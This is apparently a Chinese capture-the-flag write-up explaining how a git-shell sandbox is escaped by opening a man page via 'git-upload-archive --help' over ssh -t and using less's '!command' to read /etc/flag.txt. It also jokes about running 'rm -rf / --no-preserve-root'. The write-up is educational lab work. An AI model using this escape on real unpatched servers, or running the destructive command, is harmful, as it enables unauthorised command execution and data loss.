自己的 Git 服务器

此题涉及 Git 服务器的一个漏洞。

一般来说 Git 服务器使用 git-shell 来禁止用户 SSH 登录后任意操作,但是 git-shell 的白名单中有三条指令,分别是git-receive-pack ,git-upload-pack, git-upload-archive,它们均可以接受 '--help' 参数,使得我们可以进入 man page.

而 man page 实际上调用了 pager,pager 一般来说默认为 less,也就是说我们最后进入的用来浏览手册的程序是 less.

查阅 less 的手册,Security 的章节中讨论了多种命令执行的方式,如:!command,这里,我们 !cat /etc/flag.txt 即可。

注1: 在 ssh 连接的时候,请使用 -t 确保 less 不被完全展开。

注2: 有同学想知道怎么做到只能执行 cat /etc/flag.txt的,答:魔改了 gnu less。

陶柯宇 17级

发现 flag.txt 让我们去读取 /etc/flag.txt 文件后,我就一直在找 git clone 之后的东西有没有什么破绽,但我没有找到,就搁置在一边了。后来看到做出来的人那么多,就在想能不能直接用 git 用户 ssh 连上服务器?

下载 id_rsa 放到 ~/.ssh/ (我自己的电脑上改名为 hejiyan_rsa,因为我已经有一个 id_rsa 文件了),修改 ~/.ssh/config

Host hejiyan
    HostName 118.89.174.234
    Port 2222
    IdentityFile ~/.ssh/hejiyan_rsa

然后……

➜  ssh git@hejiyan      
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for '/Users/tao/.ssh/hejiyan_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "/Users/tao/.ssh/hejiyan_rsa": bad permissions
[email protected]'s password:

好好好,我 600 还不行吗。(这里我是把全部文件删掉之后重新试的,如果之前尝试过其他思路,那么权限之类的自己应该已经设置好了)

➜  chmod 600 ~/.ssh/hejiyan_rsa

然后……

➜  ssh git@hejiyan             
fatal: unrecognized command ''
Connection to 118.89.174.234 closed.

这是什么错误?在 Google 上搜索:

git1

沙盒绕过?这么高端的吗?还是 17 年的漏洞?(还是谷歌好,必应和百度根本搜不到这个)

里面提到可以使用类似这样的命令来打开一个交互式的 man 界面:

➜  ssh git@hejiyan -t "git-upload-archive '--help'"

注意:-t 是必须的,否则会直接返回一段文本,不会打开交互式界面。我就被这个问题坑了半个小时。ssh 文档中对 -t 的解释是:

 -t      Force pseudo-terminal allocation.  This can be used to execute
             arbitrary screen-based programs on a remote machine, which can be
             very useful, e.g. when implementing menu services.  Multiple -t
             options force tty allocation, even if ssh has no local tty.

在交互式界面中输入:

!cat /etc/flag.txt

来看到我们的 flag:

flag{Check_if_y0ur_git_server_has_this_buuuuug}

如果你好奇是否可以运行其他命令的话(比如,rm -rf / --no-preserve-root 😏)……

only cat /etc/flag.txt allowed

所以这个其实是故意模拟的一个有漏洞的环境。当然,熬夜做出来,很开心。

(这道题目告诉我们,平时千万不要拒绝安全补丁,不管是 Windows 还是 Linux 环境)

results matching ""

    No results matching ""